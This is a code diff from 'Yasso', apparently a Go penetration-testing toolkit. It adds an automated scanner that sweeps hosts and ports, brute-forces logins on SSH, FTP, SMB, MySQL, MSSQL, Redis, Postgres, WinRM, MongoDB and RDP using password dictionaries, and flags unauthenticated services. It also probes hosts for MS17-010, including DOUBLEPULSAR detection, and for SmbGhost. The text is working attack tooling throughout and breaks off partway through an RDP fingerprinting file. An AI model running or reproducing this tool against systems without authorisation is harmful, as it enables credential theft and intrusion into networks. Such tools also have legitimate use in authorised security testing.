"Yasso/config"
|
||||
"Yasso/config/banner"
|
||||
"Yasso/core/brute"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/parse"
|
||||
"Yasso/pkg/webscan"
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type scannerAll struct {
|
||||
ip string // 需要解析的ip列表或者文件
|
||||
port string // 需要解析的端口列表
|
||||
noAlive bool // 是否探测存活
|
||||
noBrute bool // 是否进行爆破
|
||||
userPath string // 爆破所需的user字典路径
|
||||
passPath string // 爆破所需的pass字典路径
|
||||
thread int // 扫描所需线程数
|
||||
timeout time.Duration // 爆破的超时数
|
||||
noService bool // 是否进行服务的探测(包括web)
|
||||
noVulcan bool // 是否进行主机层漏洞扫描
|
||||
}
|
||||
|
||||
func NewAllScanner(ip, port string, isAlive, isBrute bool, user, pass string, thread int, timeout time.Duration, noService bool, noVulcan bool) *scannerAll {
|
||||
return &scannerAll{
|
||||
ip: ip,
|
||||
port: port,
|
||||
noAlive: isAlive,
|
||||
noBrute: isBrute,
|
||||
userPath: user,
|
||||
passPath: pass,
|
||||
thread: thread,
|
||||
timeout: timeout,
|
||||
noService: noService,
|
||||
noVulcan: noVulcan,
|
||||
}
|
||||
}
|
||||
|
||||
// RunEnumeration 执行程序
|
||||
func (s *scannerAll) RunEnumeration() {
|
||||
banner.Banner()
|
||||
defer func() {
|
||||
logger.Info("Yasso scan complete")
|
||||
}()
|
||||
if s.ip == "" {
|
||||
logger.Fatal("need ips to parse")
|
||||
return
|
||||
}
|
||||
// 1. 解析用户的ip列表
|
||||
ips, err := parse.HandleIps(s.ip)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ips has an error", err.Error())
|
||||
return
|
||||
}
|
||||
// 2.解析用户的port列表
|
||||
var ports []int
|
||||
if s.port == "" {
|
||||
ports = config.DefaultScannerPort
|
||||
} else {
|
||||
ports, err = parse.HandlePorts(s.port)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ports has an error", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
var user []string
|
||||
var pass []string
|
||||
// 3.解析用户的字典,没有字典的话,就采用默认的字典
|
||||
if s.userPath != "" {
|
||||
user, err = parse.ReadFile(s.userPath)
|
||||
if err != nil {
|
||||
logger.Fatal("parse user dict file has an error")
|
||||
return
|
||||
}
|
||||
}
|
||||
if s.passPath != "" {
|
||||
pass, err = parse.ReadFile(s.passPath)
|
||||
if err != nil {
|
||||
logger.Fatal("parse user dict file has an error")
|
||||
return
|
||||
}
|
||||
return
|
||||
} else {
|
||||
pass = config.PassDict
|
||||
}
|
||||
|
||||
// 4. 解析完成后,通过isAlive判断存活,这里采用并发方式
|
||||
var wg sync.WaitGroup
|
||||
var mutex sync.Mutex
|
||||
var ipChannel = make(chan string, 1000)
|
||||
var port7 []int = []int{139, 445, 135, 22, 23, 21, 3389}
|
||||
var ipAlive []string
|
||||
if s.noAlive == false {
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func(ctx context.Context) {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
if ping(ip) == true {
|
||||
logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
|
||||
logger.JSONSave(ip, logger.HostSave) // json存储
|
||||
ipAlive = append(ipAlive, ip)
|
||||
} else {
|
||||
// 这里尝试探测7个常用端口,如果有一个开放,则证明ip也是存活网段
|
||||
for _, p := range port7 {
|
||||
if tcpConn(ip, p) == true {
|
||||
logger.Info(fmt.Sprintf("%v is alive (tcp)", ip))
|
||||
logger.JSONSave(ip, logger.HostSave) // json存储
|
||||
ipAlive = append(ipAlive, ip)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}(context.Background())
|
||||
}
|
||||
for _, ip := range ips {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Contains(ip, ":") {
|
||||
ipAlive = append(ipAlive, ip)
|
||||
continue
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
} else {
|
||||
ipAlive = ips
|
||||
}
|
||||
// 5.扫描完成后,做端口扫描,同样是高并发
|
||||
ipChannel = make(chan string, 1000) // 二次复用
|
||||
var portAlive = make(map[string][]int)
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
// 做端口扫描
|
||||
mutex.Lock()
|
||||
p := NewRunner(ports, ip, s.thread, tcpConn).RunEnumeration()
|
||||
portAlive[ip] = append(portAlive[ip], p...)
|
||||
logger.JSONSave(ip, logger.PortSave, p) // 存储可用端口
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ipAlive {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Count(ip, ":") == 1 {
|
||||
t := strings.Split(ip, ":")
|
||||
p, err := strconv.Atoi(t[1])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
portAlive[t[0]] = append(portAlive[t[0]], p)
|
||||
continue
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
// 6. 端口扫描结束,根据用户指示,判断是否进行爆破
|
||||
for k, v := range portAlive {
|
||||
// 遍历每一个ip的每一个端口看看属于哪一个服务
|
||||
v = parse.RemoveDuplicate(v) // 去个重
|
||||
sort.Ints(v) // 排序
|
||||
for _, p := range v {
|
||||
switch p {
|
||||
case 22:
|
||||
if s.noService == false {
|
||||
information := VersionSSH(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
})
|
||||
logger.JSONSave(k, logger.InformationSave, "ssh", information)
|
||||
}
|
||||
brute.NewBrute(user, pass, SshConnByUser, "ssh", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 21:
|
||||
// 未授权
|
||||
if ok, _ := FtpConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
continue
|
||||
}
|
||||
// 爆破ftp
|
||||
brute.NewBrute(user, pass, FtpConn, "ftp", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 445:
|
||||
// 未授权
|
||||
if ok, _ := SmbConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "administrator", ""); ok {
|
||||
logger.Info(fmt.Sprintf("smb %s unauthorized", k))
|
||||
// 未授权,用户名密码均为null
|
||||
logger.JSONSave(k, logger.WeakPassSave, "smb", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
brute.NewBrute(user, pass, SmbConn, "smb", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 1433:
|
||||
if s.noService == false {
|
||||
ok, information := VersionMssql(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
})
|
||||
// 存在ok
|
||||
if ok {
|
||||
logger.JSONSave(k, logger.InformationSave, "mssql", information)
|
||||
}
|
||||
}
|
||||
brute.NewBrute(user, pass, MssqlConn, "mssql", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 2181:
|
||||
if s.noService == false {
|
||||
if ok, _ := ZookeeperConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
// 未授权
|
||||
logger.JSONSave(k, logger.WeakPassSave, "zookeeper", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
}
|
||||
case 3306:
|
||||
// 未授权
|
||||
if _, ok, _ := MySQLConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.Info(fmt.Sprintf("mysql %s unauthorized", k))
|
||||
// 未授权,用户名密码均为null
|
||||
logger.JSONSave(k, logger.WeakPassSave, "mysql", map[string]string{"null": "null"})
|
||||
continue
|
||||
} else {
|
||||
brute.NewBrute(user, pass, MySQLConn, "mysql", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
}
|
||||
case 3389:
|
||||
// 仅探测主机版本
|
||||
if s.noService == false {
|
||||
if ok, information := VersionRdp(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
// 版本
|
||||
logger.JSONSave(k, logger.InformationSave, "rdp", information)
|
||||
continue
|
||||
}
|
||||
}
|
||||
case 6379:
|
||||
if s.noService == false {
|
||||
if _, ok, _ := RedisUnAuthConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.JSONSave(k, logger.WeakPassSave, "redis", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
}
|
||||
brute.NewBrute(user, pass, RedisAuthConn, "redis", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
|
||||
case 5432:
|
||||
brute.NewBrute(user, pass, PostgreConn, "postgres", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 5985:
|
||||
brute.NewBrute(user, pass, WinRMAuth, "winrm", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 11211:
|
||||
if s.noService == false {
|
||||
if ok, _ := MemcacheConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.JSONSave(k, logger.WeakPassSave, "memcache", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
}
|
||||
case 27017:
|
||||
if s.noService == false {
|
||||
if ok, _ := MongoUnAuth(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.JSONSave(k, logger.WeakPassSave, "mongodb", map[string]string{"null": "null"})
|
||||
break
|
||||
}
|
||||
}
|
||||
brute.NewBrute(user, pass, MongoAuth, "mongodb", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
default:
|
||||
if s.noService == false {
|
||||
webscan.DisMapConn(k, p, s.timeout)
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
if s.noService == false {
|
||||
// 8. 进行win服务扫描扫描
|
||||
ipChannel = make(chan string, 1000) // 第四次复用
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
mutex.Lock()
|
||||
func(ip string) {
|
||||
ok, information := NbnsScanConn(ip, 137, s.timeout)
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.InformationSave, "netbios", information)
|
||||
}
|
||||
}(ip)
|
||||
func(ip string) {
|
||||
ok, information := SmbScanConn(ip, 445, s.timeout)
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.InformationSave, "smb", information)
|
||||
}
|
||||
}(ip)
|
||||
func(ip string) {
|
||||
ok, information := OxidScanConn(ip, 135, s.timeout)
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.InformationSave, "oxid", information)
|
||||
}
|
||||
}(ip)
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ipAlive {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Count(ip, ":") == 1 && (strings.Split(ip, ":")[0] != strconv.Itoa(139) || strings.Split(ip, ":")[0] != strconv.Itoa(135) || strings.Split(ip, ":")[0] != strconv.Itoa(445)) {
|
||||
continue
|
||||
} else if strings.Split(ip, ":")[0] == strconv.Itoa(139) || strings.Split(ip, ":")[0] == strconv.Itoa(135) || strings.Split(ip, ":")[0] == strconv.Itoa(445) {
|
||||
ipChannel <- strings.Split(ip, ":")[0]
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait() // 等待结束
|
||||
|
||||
}
|
||||
// 7. 进行主机漏洞扫描
|
||||
if s.noVulcan == false {
|
||||
ipChannel = make(chan string, 1000) // 第四次复用
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
// 做端口扫描
|
||||
mutex.Lock()
|
||||
func() {
|
||||
ok := Ms17010Conn(config.ServiceConn{
|
||||
Hostname: ip,
|
||||
Port: 445,
|
||||
Domain: "",
|
||||
Timeout: s.timeout,
|
||||
PublicKey: "",
|
||||
})
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.VulnerabilitySave, "MS17010")
|
||||
}
|
||||
}()
|
||||
func() {
|
||||
ok := SmbGhostConn(config.ServiceConn{
|
||||
Hostname: ip,
|
||||
Port: 445,
|
||||
Domain: "",
|
||||
Timeout: s.timeout,
|
||||
PublicKey: "",
|
||||
})
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.VulnerabilitySave, "CVE-2020-0796")
|
||||
}
|
||||
}()
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ipAlive {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Count(ip, ":") == 1 && strings.Split(ip, ":")[0] != strconv.Itoa(445) {
|
||||
continue
|
||||
} else if strings.Split(ip, ":")[0] == strconv.Itoa(445) {
|
||||
ipChannel <- strings.Split(ip, ":")[0]
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait() // 等待结束
|
||||
}
|
||||
logger.LoggerSave()
|
||||
}
|
||||
278
core/plugin/brute.go
Normal file
278
core/plugin/brute.go
Normal file
@@ -0,0 +1,278 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/config/banner"
|
||||
"Yasso/core/brute"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/parse"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var BurpMap = map[string]interface{}{
|
||||
"ssh": SshConnByUser,
|
||||
"mongodb": MongoAuth,
|
||||
"mysql": MySQLConn,
|
||||
"mssql": MssqlConn,
|
||||
"rdp": RdpConn,
|
||||
"redis": RedisAuthConn,
|
||||
"ftp": FtpConn,
|
||||
"smb": SmbConn,
|
||||
"winrm": WinRMAuth,
|
||||
"postgres": PostgreConn,
|
||||
}
|
||||
|
||||
func BruteService(user, pass string, ipd string, module string, thread int, timeout time.Duration, isAlive bool) {
|
||||
banner.Banner()
|
||||
defer func() {
|
||||
logger.Info("brute service complete")
|
||||
}()
|
||||
// 先解析传过来的ips列表
|
||||
if ipd == "" {
|
||||
logger.Fatal("need ips to parse")
|
||||
return
|
||||
}
|
||||
ips, err := parse.HandleIps(ipd)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var userDic, passDic []string
|
||||
if user != "" {
|
||||
userDic, err = parse.ReadFile(user)
|
||||
}
|
||||
if pass != "" {
|
||||
passDic, err = parse.ReadFile(pass)
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("dic file is not found")
|
||||
return
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
var ipChannel = make(chan string, 1000)
|
||||
var ipAlive []string
|
||||
if isAlive == true {
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
if ping(ip) == true {
|
||||
logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
|
||||
ipAlive = append(ipAlive, ip)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ips {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Contains(ip, ":") {
|
||||
ipAlive = append(ipAlive, ip)
|
||||
continue
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
} else {
|
||||
ipAlive = ips
|
||||
}
|
||||
|
||||
logger.Info(fmt.Sprintf("start brute service %v", strings.Split(module, ",")))
|
||||
// 这里获取到了ip列表,格式各种各样 www.baidu.com:80 192.168.248.1 192.168.248.1:445
|
||||
for _, each := range strings.Split(module, ",") { // 遍历每一个服务
|
||||
// 这里获取到对应的服务和端口
|
||||
service := strings.Split(each, ":")
|
||||
if len(service) >= 3 || len(service) <= 0 {
|
||||
logger.Fatal("brute service format is error")
|
||||
break
|
||||
}
|
||||
switch service[0] {
|
||||
case "ssh":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 22
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "ssh", BurpMap["ssh"])
|
||||
case "mongo":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 27017
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "mongodb", BurpMap["mongodb"])
|
||||
case "mysql":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 3306
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "mysql", BurpMap["mysql"])
|
||||
case "rdp":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 3389
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "rdp", BurpMap["rdp"])
|
||||
case "redis":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 6379
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "redis", BurpMap["redis"])
|
||||
case "smb":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 445
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "smb", BurpMap["smb"])
|
||||
case "winrm":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 5985
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "winrm", BurpMap["winrm"])
|
||||
case "postgres":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 5432
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "postgres", BurpMap["postgres"])
|
||||
case "mssql":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 1433
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "mssql", BurpMap["mssql"])
|
||||
case "ftp":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 21
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "ftp", BurpMap["ftp"])
|
||||
default:
|
||||
logger.Fatal(fmt.Sprintf("not found service %s", service[0]))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// 执行爆破的函数
|
||||
func run(ips []string, port int, user, pass []string, timeout time.Duration, thread int, service string, method interface{}) {
|
||||
var ipChannel = make(chan string, 1000) // 二次复用
|
||||
var mutex sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
// 这里获取到每一个ip
|
||||
mutex.Lock()
|
||||
brute.NewBrute(user, pass, method, service, config.ServiceConn{
|
||||
Hostname: ip,
|
||||
Port: port,
|
||||
Timeout: time.Duration(timeout),
|
||||
}, thread, false, "").RunEnumeration()
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ips {
|
||||
// 带有端口的不进行扫描,直接直接跳过
|
||||
if strings.Count(ip, ":") == 1 {
|
||||
if strings.Split(ip, ":")[1] == strconv.Itoa(port) { // 带端口,且端口和需要爆破的端口号相同
|
||||
ipChannel <- strings.Split(ip, ":")[0]
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
}
|
||||
@@ -1,7 +1,8 @@
|
||||
package cmd
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
@@ -20,25 +21,24 @@ var (
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||
)
|
||||
|
||||
func Ms17010Conn(info config.HostIn) {
|
||||
conn, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
|
||||
func Ms17010Conn(info config.ServiceConn) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
//Println()("[!] New Connect failed",err)
|
||||
return
|
||||
return false
|
||||
}
|
||||
status, err := RequestMs17010(conn, info.Host)
|
||||
status, err := RequestMs17010(conn, info.Hostname)
|
||||
if err != nil {
|
||||
//Println()("[!] Request Ms17010 failed",err)
|
||||
return
|
||||
return false
|
||||
}
|
||||
if status == true {
|
||||
return
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func RequestMs17010(conn net.Conn, ip string) (bool, error) {
|
||||
defer conn.Close()
|
||||
err := conn.SetDeadline(time.Now().Add(TimeDuration))
|
||||
err := conn.SetDeadline(time.Now().Add(500 * time.Millisecond))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -74,7 +74,7 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
Println("invalid session setup AndX response")
|
||||
logger.Fatal("invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
@@ -116,7 +116,7 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) {
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
//color.Magenta("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
Println(fmt.Sprintf("[+] %v Find MS17010 (%s)", ip, os))
|
||||
logger.Info(fmt.Sprintf("%v Find MS17010 (%s)", ip, os))
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
27
core/plugin/ftp.go
Normal file
27
core/plugin/ftp.go
Normal file
@@ -0,0 +1,27 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
c, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
|
||||
|
||||
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Hostname, info.Port), ftp.DialWithNetConn(c))
|
||||
if err == nil {
|
||||
err = conn.Login(user, pass)
|
||||
if err == nil {
|
||||
if pass == "" {
|
||||
logger.Success(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
|
||||
}
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
78
core/plugin/grdp.go
Normal file
78
core/plugin/grdp.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/pkg/grdp"
|
||||
"Yasso/pkg/grdp/glog"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func RdpConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var err error
|
||||
var host = fmt.Sprintf("%v:%v", info.Hostname, info.Port)
|
||||
g := grdp.NewClient(host, glog.NONE)
|
||||
//SSL协议登录测试
|
||||
err = g.LoginForSSL(info.Domain, user, pass)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
if err.Error() != "PROTOCOL_RDP" {
|
||||
return false, err
|
||||
}
|
||||
//RDP协议登录测试
|
||||
err = g.LoginForRDP(info.Domain, user, pass)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
func VersionRdp(info config.ServiceConn, user, pass string) (bool, string) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
msg := "\x03\x00\x00\x2b\x26\xe0\x00\x00\x00\x00\x00\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x75\x73\x65\x72\x30\x0d\x0a\x01\x00\x08\x00\x00\x00\x00\x00"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false, ""
|
||||
} else if hex.EncodeToString(reply[0:8]) != "030000130ed00000" {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
os := map[string]string{}
|
||||
os["030000130ed000001234000209080000000000"] = "Windows 7/Windows Server 2008 R2"
|
||||
os["030000130ed000001234000200080000000000"] = "Windows 7/Windows Server 2008"
|
||||
